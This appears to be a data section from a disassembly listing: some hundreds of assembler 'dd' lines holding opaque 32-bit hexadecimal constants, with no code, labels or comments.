		dd 78DA4E12h, 0F62E9EADh, 4D0D4DB4h, 0FCEDC619h, 30454C9Ch
		dd 0D32FF11Ch, 2CB98414h, 5D208273h, 0AE45AD6Ch, 2602682Fh
		dd 300B8716h, 0E0E10700h, 0EFB00A6Ah, 22806662h, 0AB5FCB31h
		dd 0CA84E860h, 0C94D9AC4h, 0CF640616h, 0E607A11Ch, 950470Ah
		dd 8D2D463Eh, 3F18A11Ah, 0B4945C36h, 0CE1A83B0h, 38712B32h
		dd 28D311D6h, 590EA580h, 0CE9A2460h, 9034B7C0h,	793C142Fh
		dd 784C047Dh, 50B6089Fh, 37DCF22Ah, 6A493806h, 9955049Ch
		dd 8B78441Ah, 4BBB6402h, 0C1F65CF9h, 0B6127F04h, 6455D64h
		dd 0B4352350h, 7C0E2C83h, 2541AC40h, 0AE070507h, 0E8492024h
		dd 916D0188h, 0B600D980h, 0E560092h, 37616EDEh,	3F070F0h
		dd 0B6BBB696h, 55F93161h, 0CF23DCE6h, 0FA89940h, 683E57A7h
		dd 99559B1Dh, 7A825B48h, 4918D861h, 14F09860h, 0B70BB566h
		dd 0B0D8292Dh, 752390C3h, 200C50D3h, 31A75DC1h,	0E559750h
		dd 0A0B234C4h, 2ADF3B1Dh, 0D6B4D2F5h, 0E1696209h, 6CCA830Ah
		dd 19B4A15Dh, 282BC205h, 529F222Ch, 0AA77FB5h, 83A54461h
		dd 0C2DA68B0h, 56E61562h, 7EC1C215h, 9DB11780h,	96188510h
		dd 6AA98619h, 0E28B0C54h, 68142A0Eh, 1011584h, 5D160650h
		dd 2F4A70F3h, 53631385h, 9B663240h, 9A9202CAh, 165C6504h
		dd 0AE028052h, 0A592D014h, 0E32486D6h, 755A5B18h, 2C813A2h
		dd 538C9A9Ah, 75714013h, 0D8245600h, 56C81340h,	3CD6E67Ch
		dd 0D95BA9FAh, 51C807C5h, 97A9A23Ah, 0BD3109CDh, 23952C43h
		dd 33DA2533h, 87A1C8F0h, 6C36BCC6h, 464CADDFh, 25C0D8F7h
		dd 68F098CCh, 70542139h, 0E758ACDAh, 691910E6h,	0C062030h
		dd 44A6A1C3h, 0C28B8467h, 43C52082h, 60844E98h,	0E4166946h
		dd 0BDCBA651h, 60A6B65h, 22B222E4h, 72B61F4Fh, 81248889h
		dd 467BBDFCh, 6916C30Dh, 2452E453h, 0DECCC0C5h,	6145A0BDh
		dd 6C014018h, 44DE80F9h, 26A74879h, 76383979h, 9984216Dh
		dd 6660C28Eh, 0E9B0B9E2h, 668952E6h, 0A2C7BC09h, 0E9D28263h
		dd 431B0064h, 4CABA118h, 44043298h, 48A50882h, 19060A3h
		dd 29A9A96Eh, 0AA751053h, 0A18D943Ah, 50024913h, 8B16C33h
		dd 12AA3986h, 4A400959h, 4BE92534h, 0C8029D0Ch,	0B7898C43h
		dd 0C4253D04h, 0B8C16712h, 29226C4Ah, 0BE181531h, 58055104h
		dd 0FEA7B2A4h, 89D035F8h, 9B0C0BE5h, 0E15CF637h, 0F92BEF4h
		dd 0F2E22F7Fh, 1DD133F5h, 41E2B45Dh, 0FE077D60h, 0BCEDF07Ch
		dd 0BA6DC72Bh, 268FF9BEh, 0EE7DB31Ah, 0FE562DC7h, 0B0F9333Ah
		dd 98EE87FFh, 8DF0EDF6h, 73FBA643h, 0C761E8FAh,	62749EFEh
		dd 961D8DDBh, 1E2B79EEh, 0D9E78A2Ch, 0B638A1C3h, 5BB1F6DDh
		dd 62774C8Eh, 6FA3DFEAh, 7B14190Dh, 0FDE67608h,	0E52BBE39h
		dd 69B07B37h, 7F1B80C1h, 0F6B17D4Ch, 50EEEDC0h,	9B5C677Ch
		dd 0A9F2B3C2h, 73D87F67h, 0AB49C6EFh, 0E7326FAEh, 0FC5E94D3h
		dd 37A225B1h, 261AFABh,	6347E931h, 0C571842h, 0AFFABA3Fh
		dd 0EC28BBFFh, 6F07EC34h, 0F5659954h, 7A356F61h, 325C870Ah
		dd 4C3EDBF4h, 0F963628h, 0CC6579BAh, 0C7F32357h, 0E87A0503h
		dd 0E984F2CEh, 77990D30h, 0DB83FFEEh, 77BA5FAEh, 73F492C5h
		dd 11CC7FCCh, 0BFF360C4h, 0F8DA4F43h, 0B421EA6Ah, 0F9E3D610h
		dd 0DD6F01D5h, 0A181BDDEh, 0F1318B50h, 0F777F5D2h, 0CF73992Eh
		dd 3DDEF1DAh, 0C49634FFh, 0C5508310h, 5E57072Bh, 0F732F36Dh
		dd 0B127ADC3h, 1ED6276Bh, 0ABF2BA3Fh, 58F277B7h, 865FEB37h
		dd 25EF9D7Fh, 0E3FA25DFh, 0BD0EC99Ch, 94EA387Bh, 63B23779h
		dd 8A6931C2h, 6E2BBC4Eh, 56CB3A76h, 5B158042h, 6B9A78B8h
		dd 3B662E82h, 0DED43953h, 0DB4DBA5Dh, 0DB982B94h, 0AB9B8CB9h
		dd 16071C9Bh, 0EEB7B73Ah, 39740CD0h, 81D72060h,	0E3CAAB05h
		dd 0D00F1C4Ah, 79F6060h, 50D8D8EDh, 0C8760C42h,	0E84E54EAh
		dd 2618D84Eh, 6B2C367h,	6758070h, 4A33097Dh, 21B4801h
		dd 9B33B20Ah, 0E0E40596h, 2CF6A548h, 64630685h,	685CF5ECh
		dd 2B0B9782h, 168125D6h, 1298DD71h, 3761E905h, 0BCC948A9h
		dd 757B0AE4h, 0CB0BC20Bh, 0B9796012h, 0B8FCE4B4h, 0CEB68A9Fh
		dd 0B595FBE0h, 547B7163h, 84975583h, 52B78D9Ch,	3C78A1CBh
		dd 81BEAA3Fh, 0B8A1A869h, 3B8FA867h, 0F73CA4C4h, 0C0688CB1h
		dd 95EC125Ch, 0C574471Fh, 62A2E7BFh, 0CFEF6B26h, 9DF681E9h
		dd 5BF6399Ah, 8582F4B6h, 9F607D67h, 87E14BF3h, 794DC30Dh
		dd 87137776h, 0EC755F29h
		dd 0FF070B89h, 531FE39h, 1D5F7D4Dh, 41908B3Eh, 0F67F8627h
		dd 8614D5FFh, 0E824DCD1h, 23983D07h, 94F17680h,	3DCF4AA8h
		dd 0D89E2F26h, 0E39545B0h, 0BCDF077Bh, 0FB3DD7F6h, 0F2307DFEh
		dd 0C77FA6ECh, 0D0F478EEh, 86776799h, 0C8F6FCE0h, 2CDEAB8Dh
		dd 0EFF37B9Fh, 0E7B6A8BEh, 0E37B9DEh, 61ED3D8Eh, 0FBFA2CB3h
		dd 0EC66EAEDh, 9D3D0FF9h, 0F6CF6761h, 191E95C1h, 43F3FE79h
		dd 0D8635697h, 0BE57F11Ah, 0FE16D16Ch, 7F3B33D7h, 0EB2DD5F3h
		dd 0F4B1ED3Eh, 7073B2ECh, 2FE2B8B6h, 0FB18CFA3h, 307EA6Ch
		dd 0F23F2E9Eh, 868381D4h, 0EB78393Fh, 7EDFD5B6h, 0D3D679FDh
		dd 78BD2F1Fh, 75EA70BCh, 0CD624E87h, 5E96E46Dh,	0D7F7AFDh
		dd 0FEDE7DB5h, 0DADC3763h, 79FDFF73h, 3B33935Ah, 65D45780h
		dd 87D1D3F9h, 0F4192453h, 581FD967h, 8C291D53h,	20A1CCC1h
		dd 5743EC3Eh, 7D71FED6h, 0A6E4D9D2h, 21AF5BCCh,	0F4BCD743h
		dd 7C5F39C3h, 0F60306Bh, 51200DB6h, 0F37B9996h,	6D43EE7Fh
		dd 0D835C06Ch, 5A9A6997h, 45606395h, 5A558501h,	3AB08490h
		dd 0A9CE9996h, 23CBB14Fh, 0EC808AADh, 5D802EACh, 2E004B0Bh
		dd 38BFEC9h, 163BC048h,	3A851260h, 0B76C2C94h, 4DA45674h
		dd 52A5C269h, 0CE985E81h, 52F661B6h, 3A24B28h, 949A0BC9h
		dd 6D3A0C10h, 58DD85DAh, 0D0657C9Ah, 0C69856E0h, 7965B6CAh
		dd 3F1F52C3h, 0CAF04EB4h, 41660C1Fh, 0BDD70975h, 0B1ECA40h
		dd 8B58D6EBh, 0CE38B327h, 12E08C21h, 741A8B81h,	0BD08A616h
		dd 141A4A9Ah, 0AE028469h, 0E1729512h, 198A145Ah, 0FA1D953Ah
		dd 0C504BB1h, 2E565077h, 1BB5DE12h, 929C1B63h, 5640716Eh
		dd 0C8E9BDB2h, 0D115E08Ch, 440C299Ah, 536862A0h, 67018922h
		dd 219A84Eh, 0EB7C2354h, 0FA4AA16h, 244282A6h, 622B67EEh
		dd 3A1698A3h, 48B5CB2Ah, 0F2AD1771h, 90E5A903h,	3EAA28CDh
		dd 0C2039B6h, 0EA945E6Eh, 0BC5DB288h, 46166B48h, 2F8DDE30h
		dd 0EF2C5298h, 0C5709458h, 0CA982792h, 432ACC05h, 2B559831h
		dd 586ACE2Dh, 24F79C98h, 0C45E5435h, 8A83E5EAh,	0A87ECC00h
		dd 0A46876B0h, 530F59ECh, 20014DE3h, 0EE235394h, 5AD47179h
		dd 0E51455B7h, 5361B2Eh, 0AB8F0445h, 4B7BA0CEh,	81F12415h
		dd 2F34DE44h, 0B3E61CBBh, 60B9065Eh, 58ECB318h,	8B28DC0Bh
		dd 2DBAAC2Fh, 0D116A81Ch, 8BB4A3DEh, 73D71059h,	0A2390829h
		dd 6D9225D5h, 3A46A94Bh, 5AA8D373h, 167C65Eh, 5599AE03h
		dd 0A1C2C094h, 0D95C2BC2h, 0C6880215h, 0A5B7E480h, 611BD308h
		dd 460C458h, 1AB33B60h,	1E02A4B1h, 640AAC5h, 0D18E4850h
		dd 0B1A4BC2Eh, 1AA35844h, 32ED40C6h, 0FE3A8FC9h, 92328738h
		dd 0A2F2912h, 3A5BA6C7h, 5C409E0Ah, 0AE7FB5CDh,	8DE052F0h
		dd 0DE69E338h, 2CE91754h, 244B7310h, 18DD9FB0h,	0A223D825h
		dd 9CFD274Bh, 0D7652F8Ah, 0C0049C2Ah, 0E9BD9F2h, 1FCB0A4Dh
		dd 9A21505Fh, 0C71171B6h, 54C04D09h, 1CA40012h,	918A9CBAh
		dd 8B6DE987h, 79E41401h, 3CA7CD81h, 0E8F4D50Ah,	964A8C59h
		dd 0CD2E4331h, 292957CFh, 90565CEh, 5EE13C09h, 5BEE26C6h
		dd 0D5C43B6h, 0BB286729h, 0CCB1C086h, 2095455h,	47C4FA11h
		dd 5B6A54E2h, 3E809810h, 0B9AD972Eh, 0B98EE555h, 33835C2Ch
		dd 3607C0Bh, 0E803AB3Ch, 0EAD9E850h, 0B85809F1h, 6030F028h
		dd 0EC05DFA9h, 0FD7438E0h, 58AE8054h, 89259D8h,	0F9B08884h
		dd 9AE3CF88h, 12F6D349h, 0E576A695h, 76685B95h,	5717FAD9h
		dd 0B8B11D42h, 2A236796h, 4063E8Eh, 0D8EC1EEEh,	9AFE571Dh
		dd 0FDF0FBBAh, 8B2A6687h, 0C925DEE7h, 22CC7432h, 73548D67h
		dd 52B4B741h, 6E2B2260h, 8373AD20h, 0C11E3020h,	47ED8996h
		dd 618DF065h, 0D09851E2h, 0F0551DE1h, 0AC557B6Eh, 0CC5DC4CEh
		dd 46149820h, 0CA6A7050h, 0F39449CCh, 48B04D13h, 3CB6F5CBh
		dd 14ED0F72h, 130AB971h, 2229C1D8h, 267E5959h, 0F90A58A4h
		dd 2896361Dh, 0AE5128EBh, 72B3B56Bh, 9A51E02h, 0A039338Fh
		dd 0C4C46D5Bh, 12663252h, 45996630h, 4197304Fh,	0A5CB9105h
		dd 0FE45AEAEh, 521D938Eh, 5654A416h, 370B675Ah,	0B595E92Dh
		dd 4235B4D0h, 0A610D64Bh, 0C34B4B41h, 5C666751h, 68E84A82h
		dd 0C8015CC0h, 0B43F888Ah, 6F4D444Dh, 976D4942h, 539D18E1h
		dd 6958C29Dh, 58A13A4Ch, 0C7028C45h, 95469638h,	477C1963h
		dd 564544E5h, 59E63374h, 0E518149Ah, 98669E65h,	6247D395h
		dd 0B4F12354h, 9DB58EA3h, 0F2214987h, 78471AC6h, 6186776h
		dd 0BFB76514h, 3D1316C7h, 0C18B6F4Dh, 0CC106DC2h, 0D9564227h
		dd 0C4BD7E25h, 1CDF206Bh, 63859408h, 0D0E5B159h, 162F2862h
		dd 4A0A98BCh, 868B8CF3h, 55694117h, 2B22C286h, 9A6EA9AAh
		dd 832F9862h, 4C9B4B86h, 4C181165h, 6B30FB25h, 0F4559B09h
		dd 0B513178Ah, 0A6D38832h, 554760C6h, 1989E894h, 7F7FBA61h
		dd 834630A3h, 54E79EBEh, 0D56E6944h, 245CA416h,	0E460E14Fh
		dd 954C1567h, 6288AB9h,	7D9B3E19h, 0A31D6D86h, 2E150987h
		dd 2B190545h, 14355614h, 52AAECB3h, 0E3EF4283h,	0B11B0E95h
		dd 0CA520F45h, 3B8F260Ch, 1874F83Ah, 59F96850h,	6C149124h
		dd 6D842145h, 0E4027E44h, 2B1676BAh, 1598DA0Ch,	9CA834C3h
		dd 0DB4360C6h, 0CBB1B454h, 0C6A749C5h, 9A52A61h, 0F581CFF2h
		dd 8AA4E277h, 197BA29Fh, 0AC294186h, 0A4A62AA0h, 95312C23h
		dd 2B0AABC1h, 0DA68E296h, 2857C0E4h, 836BA4D2h,	99F2135Bh
		dd 7EE2C76Dh, 0CB3D9374h, 7A16095Ah, 663C5829h,	63C5E64h
		dd 0F10697B6h, 3F66FAF6h, 9D0377ADh, 48B07053h,	9C5CD7D4h
		dd 0F3460BDDh, 930632ACh, 652395E8h, 7034677Bh,	906C473Ch
		dd 350652F1h, 313D8729h, 0B1997C72h, 54186183h,	0F993E5C9h
		dd 753E5A37h, 0B9D3063h, 33E2E8B6h, 64F93DDDh, 82C293A8h
		dd 74D28416h, 2503AE92h, 1E5673F2h, 73984D3Fh, 5498AC72h
		dd 0EB92B844h, 8BA3DBBFh, 0C32A229Dh, 70A81464h, 54B4C4F9h
		dd 58AE3041h, 14402D4Eh, 28D6A597h, 2F4726B9h, 1D6C28AEh
		dd 0C8968FF1h, 755924B8h, 8146BA9h, 0B65EE1AEh,	71E3B295h
		dd 0CC5465CCh, 0AF12BDB0h, 0A54F9613h, 69CA350Ah, 204CA5D1h
		dd 0C3060E60h, 84EDCC81h, 0DF9519A6h, 0B19FBEBFh, 0D757F476h
		dd 0FEF97C86h, 170FF3EAh, 804BBEAEh, 0D1B58873h, 56ECC057h
		dd 0CF78D6FFh, 0CF02538Fh, 6E8D514Eh, 9B64B922h, 14D02634h
		dd 7F6E0584h, 9F5697Eh,	31F8D6CBh, 0CFFC2F0h, 0D43A1D7Eh
		dd 0CDFBA777h, 81344B57h, 876561D8h, 3DDBD8FEh,	33995428h
		dd 0FBEAAFF9h, 0B1D48D0Eh, 9CADC309h, 0F6AAFC7Ch, 0DFECDE73h
		dd 13B48F8Ah, 0EF4BEEBFh, 0D66A6950h, 0BFCEBDE9h, 0B0A2F99Bh
		dd 9A33C77Ah, 0F8C0D1C5h, 0CF53F3EAh, 4D2CD34Fh, 94E1DB03h
		dd 5666D319h, 5BB66A92h, 6E17C362h, 0F4FCB95Eh,	0D24645ACh
		dd 2165824h, 0EACC2C54h, 91922C49h, 94AD9A1Fh, 6DF10D1Bh
		dd 0B2B14ACh, 0A5DCCA81h, 0CB4ED92Ch, 0F69AAA63h, 6A756DB0h
		dd 4B785121h, 61622687h, 0DB1DC6F4h, 0AE36CC78h, 0A4203705h
		dd 44905C40h, 549A2D40h, 0A747542Ah, 9D3BB536h,	0EC0479AAh
		dd 0D4273EA4h, 63216793h, 5245C880h, 6C0848A2h,	0CFD16FD2h
		dd 459F266Ch, 8831F806h, 0B19BA158h, 0DEC0BE42h, 5E8DB2E8h
		dd 599CA775h, 92634232h, 5029C9ECh, 33853601h, 2A2A0609h
		dd 7CAAC4A5h, 0E9F0AA5Ah, 0C009DDA4h, 23EF1326h, 2203702h
		dd 136E160h, 2E4A1175h
		dd 0ABC30C17h, 0ED553838h, 0C8BA52E2h, 0A183A752h, 950AC9B2h
		dd 909F3663h, 0F5450D4Ch, 283153A9h, 1D06068Ah,	94B6916Fh
		dd 8EC40966h, 0A231AB72h, 7318C3E7h, 6E846703h,	4A982C16h
		dd 82BB2031h, 99BB180h,	40305B01h, 12996D0Ah, 93493950h
		dd 0A61AAE7Fh, 2CA9ACC5h, 0CD18914Fh, 78B4D88Ah, 12985257h
		dd 14B69198h, 5D55B086h, 4083A9BCh, 0B26E3D18h,	48882091h
		dd 152CD88h, 8226EA54h,	4B428E59h, 6801B09Fh, 0D65A6ABh
		dd 0B239C2D4h, 2ED3B392h, 0D9D68048h, 831D1974h, 0F16ACD18h
		dd 6560A59h, 3A92741Fh,	9D3150E8h, 60CE90D6h, 54F72A19h
		dd 1AAA0615h, 0F8E38884h, 3154750Dh, 12305430h,	8D20CB4h
		dd 0A2A240DAh, 0A8658B2h, 6A3D9315h, 4A751894h,	94A2293h
		dd 612A8945h, 0B55E8544h, 0AD3B955Ah, 9ED1B159h, 5AED5F35h
		dd 35B969B5h, 0B06F8DE8h, 77BC7158h, 4A0792EDh,	9A865E6Fh
		dd 84E29329h, 97BF029Eh, 5CDD732Bh, 965C88Bh, 0A5438F8h
		dd 7551AAB7h, 6F8CAC37h, 6DA9855h, 0AE0B5F09h, 0F602963Dh
		dd 2F3E484h, 94574C15h,	286D87F5h, 0FC31FCh, 5DC0008Bh
		dd 237F2EFh, 0D26F16ECh, 3E4B54B8h, 0E406995Bh,	0A7E4E456h
		dd 0C503363Eh, 0EA20AF0Eh, 0B214BADCh, 9FBB21B8h, 0AC1FB8A2h
		dd 0BBFBDEACh, 4BE5AB3Ah, 0DB3363D9h, 0FF4A72ADh, 0DE24898Fh
		dd 752CEE22h, 57FE6678h, 0A95AD81Eh, 8E6C1F42h,	5ADA055h
		dd 0FB89BA79h, 3B4A5D3Dh, 0B5F70D7Bh, 679C5FEh,	0C2485F50h
		dd 49AAFFE4h, 0D2831280h, 0DF413D26h, 3022A8B7h, 932FBEh
		dd 4E233542h, 5235423h,	0C4125469h, 8DFD0B81h, 5899A400h
		dd 50A82E84h, 1A97369Ch, 0E5104E8h, 95DCB80Ch, 0D71C9120h
		dd 73FE462Bh, 195CE4C4h, 60818841h, 0D4AC4291h,	39041161h
		dd 66811A7h, 0DC0113h, 0F6FEC088h, 64BDCF07h, 37A0240h
		dd 0E5445234h, 50400BA1h, 2840323Ch, 49586183h,	28B6B4CAh
		dd 0C2E1FEF3h, 5D254A4Eh, 9582DDD7h, 61C6996Eh,	8C09BD0Dh
		dd 1080B801h, 60322BE0h, 52AA3099h, 23A6DF12h, 906B6F3Ah
		dd 2FA4B511h, 69B4EDD7h, 98D3014h, 0F0D61A95h, 26A3121Bh
		dd 2360AE42h, 12A6E90Bh, 0F5751C10h, 44DED169h,	206A439Bh
		dd 4C011F4Eh, 0C314002Eh, 0A0214650h, 5E410620h, 18BCC00h
		dd 134C1644h, 4F85B0CDh, 0A39A241Dh, 292AEE24h,	5B946C9h
		dd 0B5700661h, 4AC26747h, 93ED14F3h, 0AD4F0F69h, 0F0E9227Dh
		dd 46B0B549h, 0EA0C5800h, 0BC3A9641h, 16D7BB6h,	9539D19h
		dd 890787AAh, 48A2F6D8h, 252FC01h, 2CCEF33h, 9811269h
		dd 0D107A771h, 2F113526h, 5A320A17h, 5C3B9863h,	993AC38Ah
		dd 23A9198Ch, 0AAFB7F4Ah, 99119EEFh, 0C3602041h, 798098B2h
		dd 50E214E8h, 6060548Ch, 85388047h, 0ED1D494Fh,	0CC0F09F4h
		dd 3C01C14h, 34AC162Fh,	8E2A43BDh, 0BD61C92Fh, 0C9A8A16Fh
		dd 792604Dh, 0B818DD0Fh, 0A86B8C05h, 825FFB1Dh,	0C6811234h
		dd 38590C60h, 861AB047h, 0CA24CC80h, 128701A5h,	90336B5Ah
		dd 91811152h, 6088B85h,	0E86C27D2h, 4323EAE3h, 998A8045h
		dd 0CC8C2401h, 0D48C86D4h, 580BD08Ch, 2C84D80Ch, 6C6C507Ch
		dd 0BC386DE4h, 53C4F0F3h, 83E7D2D0h, 518C4AA1h,	6E00014Ah
		dd 81C63A04h, 68B03D10h, 6260205Ch, 8E212E67h, 1B0A2155h
		dd 0E5F2984Ah, 27A2AE57h, 9F00E782h, 959F1622h,	2FBCD6E2h
		dd 1A3CA6C7h, 7CABF88Eh, 0BCF2E6A5h, 0AA4BD11h,	0B25AA730h
		dd 0EDD4148Bh, 0D7C6D58Bh, 2E349503h, 73A1A3EFh, 0B192ED3Ch
		dd 499DB5CBh, 51CEE425h, 452D9440h, 4B2D0E6Ah, 0E4011C8h
		dd 71D272C7h, 249F5882h, 83F4C5D1h, 580CC82Fh, 387E250h
		dd 5E4728B3h, 2719FF60h, 0F047D710h, 8090B62h, 52B1998h
		dd 0EF459361h, 7F9D845Dh, 0A878A473h, 0B182DFD6h, 102867EEh
		dd 0D8503595h, 0C7E85928h, 5FFD4182h, 42B90FF8h, 60D74E9Bh
		dd 3CFF0154h, 7EC421B2h, 4287FF80h, 516AD6E5h, 7D4A20A7h
		dd 0E017957Ah, 0A0D396E9h, 0A170A394h, 0A6004CAEh, 0BD0C0Eh
		dd 0E5DA6C03h, 216DE22h, 42D7063Ah, 1E4CBB39h, 1B085B80h
		dd 4242E5D3h, 57B450D3h, 8D026558h, 17AA6633h, 90A4E016h
		dd 0FB34801h, 68C4C00Bh, 41D18DA4h, 2218B9A3h, 14C5794Ah
		dd 0A5A96024h, 218C2230h, 0DC5FF47Dh, 0A6EE05A5h, 21D904C2h
		dd 23C02C8Eh, 0B2C07C14h, 5B96A4B2h, 0BBB9204Ah, 60EA924Bh
		dd 2C0AF007h, 9CAD4C00h, 26A09A34h, 9CCEA031h, 6ED33C4Bh
		dd 42244601h, 0A47A567Bh, 67D1089Dh, 0C3F9AE8Bh, 4A8E681Bh
		dd 11E4662h, 4811C115h,	24208300h, 0AC474400h, 469EA2B8h
		dd 86068290h, 0BD7C4688h, 98E4336Ah, 3092BC94h,	167AA35Fh
		dd 2FB5DD22h, 12EA9B71h, 50B371B8h, 3C659AC1h, 8ADC58B3h
		dd 5321AFA9h, 9B18C31h,	31511102h, 38D19C2h, 41E3E398h
		dd 49FA248Dh, 0EB20E400h, 91D22114h, 8221C968h,	0C19011DCh
		dd 7A984005h, 0ECFCEF12h, 0ADA07E8Eh, 650105EAh, 81C46E16h
		dd 2D8DC5CCh, 0EA5C5A31h, 1E7CB52Ch, 738388DCh,	4D6A5001h
		dd 44F26525h, 61C582F0h, 0A2545A1Eh, 0C3232A80h, 0C1705B64h
		dd 63515908h, 0C7A1A836h, 0A5B85CD4h, 9A691E80h, 46673C4Ch
		dd 8F426A94h, 0D41130CDh, 0FB32239Bh, 7A00E053h, 0E8D4EFAAh
		dd 44D2433h, 17019F96h,	14D80431h, 0E22841A9h, 0D3099B45h
		dd 0F523C1CCh, 98218832h, 4A027B13h, 7CB832B1h,	61468A0Dh
		dd 1911197Ah, 174B08DDh, 26475185h, 0D37AC616h,	0B3F0575Bh
		dd 2F505580h, 6889B445h, 1CB151D9h, 668F4142h, 822A2338h
		dd 8027ED0h, 0C99F41A0h, 5B4B391Dh, 0C3257414h,	2801A40Bh
		dd 6A630C90h, 2439AD8h,	406E0420h, 285CFB0Ah, 90F44620h
		dd 5201130h, 83C25C05h,	0D02414CAh, 6804900Bh, 4C6040E6h
		dd 6A14B619h, 0C64414CDh, 45D17055h, 0BD915461h, 0FFC8F941h
		dd 4067C83Fh, 0ADD4BC8Bh, 85779128h, 0B50A0423h, 0E81558ADh
		dd 9344A11Eh, 18303814h, 0C221C8A9h, 0E2881846h, 64A1BAC8h
		dd 10DBC2C5h, 0D1BDE032h, 8A099800h, 32B22FB9h,	0FD3A232Dh
		dd 3204E2AEh, 0A4A4720h, 0FFADF371h, 0F42B8D04h, 49584790h
		dd 2B1D8009h, 56389092h, 1E563D5Ch, 0D23B5990h,	505F38D0h
		dd 0BAE89091h, 187FA50Ah, 9F32D62Bh, 22DDA722h,	2BC5A5DCh
		dd 0BFB73351h, 10346A8Fh, 0D9917871h, 1532F681h, 23B3C502h
		dd 8E011034h, 0C0AAC175h, 4A052413h, 49D244E9h,	0CA8212ADh
		dd 14B23375h, 91C58BC5h, 8201B132h, 8C8660ECh, 0C23C1C7Ch
		dd 8CD385E8h, 9D65F5h, 17390438h, 0B41377A5h, 9B9C6D23h
		dd 1C9B94D5h, 822880Ah,	8356E258h, 369F2E02h, 89962987h
		dd 9B3B6020h, 468A8329h, 13049607h, 0A8F99158h,	117A38F4h
		dd 0A0D510E0h, 1878CB30h, 32F64B42h, 0E7B68519h, 93E147AAh
		dd 2ACE832Ch, 5ED5A4DDh, 5BF88367h, 0D5A711C4h,	72B4A8BEh
		dd 6184C245h, 0D2CC8D2Fh, 847A7C00h, 0C4519B97h, 8962209Ah
		dd 1AF35226h, 4DBD76FCh, 5E132CA4h, 0B845A0AEh,	22AD6329h
		dd 67F13CA0h, 73A40A7h,	0B4A8B3DDh, 0A610238Fh,	5ED0A4Fh
		dd 464158DCh, 2C080F48h, 0BD7A93Fh, 40A93C3h, 0A5349E35h
		dd 11460D48h, 0E292DA2Fh, 9B110E60h, 0B8081944h, 16C47DBCh
		dd 322AAA4Bh, 0EE78C494h, 0D340645Fh, 0C053D87Ch, 87E660h
		dd 9D73B2EBh, 9641815Eh, 5C2080C1h, 0F15B806Fh,	8215042Ch
		dd 0FA91D5D9h, 620BD195h
		dd 8A1A4FA2h, 5E67300Eh, 48FA2AEAh, 411D9012h, 0E8343482h
		dd 33F1BF36h, 0BC5FBA5Dh, 0B07A2043h, 0BA9F5820h, 0F87EE075h
		dd 3C080FD1h, 3D85426h,	0CCF424D2h, 0A01A856h, 4360A051h
		dd 94704981h, 8C788B41h, 0B83E89F1h, 79308CD9h,	0A072A2A0h
		dd 6031FB40h, 60F78267h, 23C13A1Dh, 913624E4h, 77FED5B0h
		dd 4096B7Bh, 902A0B2Ch,	0CBE73809h, 32A77D6Eh, 15974801h
		dd 0B01B5783h, 0BF156C0Fh, 0C477DD46h, 0A297DE4h, 2BBDF47h
		dd 91874E26h, 5D602Bh, 0A597073Eh, 7A118406h, 548EE556h
		dd 0DC01D47h, 4A4D8393h, 0C7665441h, 2D1BB5AAh,	0B1E3FC1Eh
		dd 8F455779h, 0A9B1E556h, 0C02DA48Bh, 0FC228473h, 3F88F544h
		dd 5E977E51h, 0DD129271h, 404480B4h, 12A17E89h,	0A1C0A0C1h
		dd 0D01D4212h, 0A3AB92A2h, 808E48CEh, 52913D54h, 94D4A4A2h
		dd 253D2968h, 899F4A72h, 8C151330h, 252C016Ch, 2CAD2C94h
		dd 0B4459C0Dh, 852C052Ch, 679F2CBCh, 3079CAA8h,	0A8974E20h
		dd 25B0047h, 896A212Eh,	259884B6h, 8A4312D0h, 38804BF9h
		dd 25802004h, 95B111C2h, 55844AE8h, 51122B02h, 3C4AAA09h
		dd 0C129A025h, 4A37094h, 12844252h, 488A0944h, 1B0A2504h
		dd 21F65F8Eh, 912F1F00h, 84BA008Fh, 12E0025Dh, 4B600972h
		dd 0D4025B8h, 475597h, 312C10E8h, 4AE2896h, 12B24258h
		dd 4AB8895Bh, 2A822560h, 0A8099551h, 98255484h,	40944E12h
		dd 0A156284Ah, 40106128h, 1FC7CCC8h, 825E9101h,	1BC8090Fh
		dd 118480h, 0D04B043Eh,	0E12DEE25h, 4B18896h, 12B4625Ah
		dd 4A60895Eh, 29032560h, 0EF194A1h, 3DA32053h, 1801951Ah
		dd 50848143h, 143E18A2h, 12F2BF9Ch, 4BB0897Ch, 2E8225DCh
		dd 0B9099751h, 0DC255CC4h, 50967012h, 8258B04Bh, 895C712Ch
		dd 256044AFh, 924212B4h, 59844AA1h, 6350B010h, 2342880h
		dd 34394A90h, 0A7A702AAh, 4192383Ah, 0F3C892C0h, 0C5001553h
		dd 9411E020h, 10F4618h,	853C2FE7h, 0FA0A155h, 8974F802h
		dd 49E7047Bh, 0B1460AACh, 0B1663380h, 87601824h, 84B46E00h
		dd 12C8023Ah, 4B100966h, 2C01258Ch, 17719611h, 4BC35595h
		dd 559564CDh, 18D5421h,	10041CB0h, 5B5361ABh, 0A4046905h
		dd 11983101h, 2AB33380h, 862528h, 6805C647h, 63F81855h
		dd 0E82AA080h, 7500DFA1h, 23CB463h, 855687A0h, 6006C4B8h
		dd 0AB529C5Bh, 1C73A42h, 39426B68h, 2D8C3002h, 2155AB58h
		dd 655E031Ch, 161BAE17h, 362BA02Eh, 56079922h, 3EEA6175h
		dd 0BB499B90h, 0B4248611h, 6DD7F031h, 0C0C72E4h, 595BF30h
		dd 0B0015C4Bh, 2556BD84h, 88C02C96h, 85840580h,	0F8521900h
		dd 0B87A1A15h, 4D850A6Bh, 61E5902h, 84398Dh, 0CB45C60Ch
		dd 4C20FDB4h, 5946E30Ch, 4582CD11h, 34BC2DEh, 22B60102h
		dd 19BCB1B0h, 0B65D99B7h, 8562A573h, 0B1DA6E80h, 5D4CB498h
		dd 2CB712B3h, 0E8405AD1h, 32C85D6h, 1801B30Dh, 0EE0D9E8Ch
		dd 90220DC6h, 887497A0h, 3110B03h, 0D008B1B5h, 141CD590h
		dd 0D018495Dh, 103AC503h, 44FED6Ch, 8385B2BCh, 8B01CAB2h
		dd 58D796DAh, 1FD38890h, 0CAE6D9FDh, 532F2260h,	35403E76h
		dd 5035BD34h, 8484D220h, 0A6CC583Fh, 0AE57E1B7h, 8A886684h
		dd 44A846C5h, 8ADD05C1h, 83AC08C1h, 8167551h, 0D958B66Bh
		dd 8C0A3470h, 0E044BEC7h, 3288066Dh, 4D581617h,	274C8D6Bh
		dd 2C7229Ah, 112D5107h,	6C857228h, 1172EE5Eh, 0DC080A07h
		dd 7ACF8AB9h, 0CAB99BABh, 60CB878h, 0E6248793h,	9842E618h
		dd 8820E608h, 17B26189h, 41701102h, 8A92241h, 1131BBD9h
